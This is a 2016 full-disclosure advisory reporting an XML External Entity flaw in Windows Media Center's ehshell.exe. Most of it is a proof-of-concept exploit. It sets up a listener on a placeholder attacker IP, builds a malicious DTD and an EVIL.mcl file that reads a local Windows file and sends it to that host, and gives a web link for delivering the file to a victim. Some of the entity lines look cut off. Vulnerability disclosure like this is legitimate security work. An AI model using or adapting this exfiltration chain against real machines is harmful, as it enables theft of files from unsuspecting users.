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Date: Sun, 4 Dec 2016 01:14:18 -0500
From: hyp3rlinx <>
Subject: [FD] Microsoft Windows Media Center "ehshell.exe" XML External

[+] Credits: John Page aka hyp3rlinx

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[+] ISR: ApparitionSec


Windows Media Center "ehshell.exe"
version 6.1.7600

Vulnerability Type:
XML External Entity

CVE Reference:

Vulnerability Details:

Windows Media Center "ehshell.exe" is vulnerable to XML External Entity
attack allowing remote access to ANY files on a victims computer, if they
an XXE laden ".mcl" file via a remote share / USB or from an malicious
"windowsmediacenterweb" web link.

Sometimes 'Windows Media Center' will crash, sometimes opens normally and
other times will not open, but the files get accessed and exfiltrated.

Tested Windows 7 SP1

Exploit code(s):

POC exfiltrate "msdfmap.ini" used by MS ADO Remote Data Services.

1) ATTACKER-IP listener
python -m SimpleHTTPServer 8080

2) Create the "FindMeThatBiotch.dtd" DTD file with below contents (host on
ATTACKER-IP in directory where python server is listen)

<!ENTITY % param666 "<!ENTITY &#x25; FindMeThatBiotch SYSTEM '

3) Create the "EVIL.mcl" file.

<?xml version="1.0"?>
<!DOCTYPE hyp3rlinx [
<!ENTITY % data666 SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd">

4) Get victim to open the EVIL.mcl ... enjoy your files!

OR create link on webpage to run the file, but "user has to consent first".

<a href="windowsmediacenterweb://ATTACKER-IP:8080/EVIL.mcl">XXE POC</a>

Disclosure Timeline:
Vendor Notification:  September 1, 2016
Vendor opens Case 34970: September 6, 2016
Vendor reply "Wont Fix" : October 19, 2016
December 4, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:

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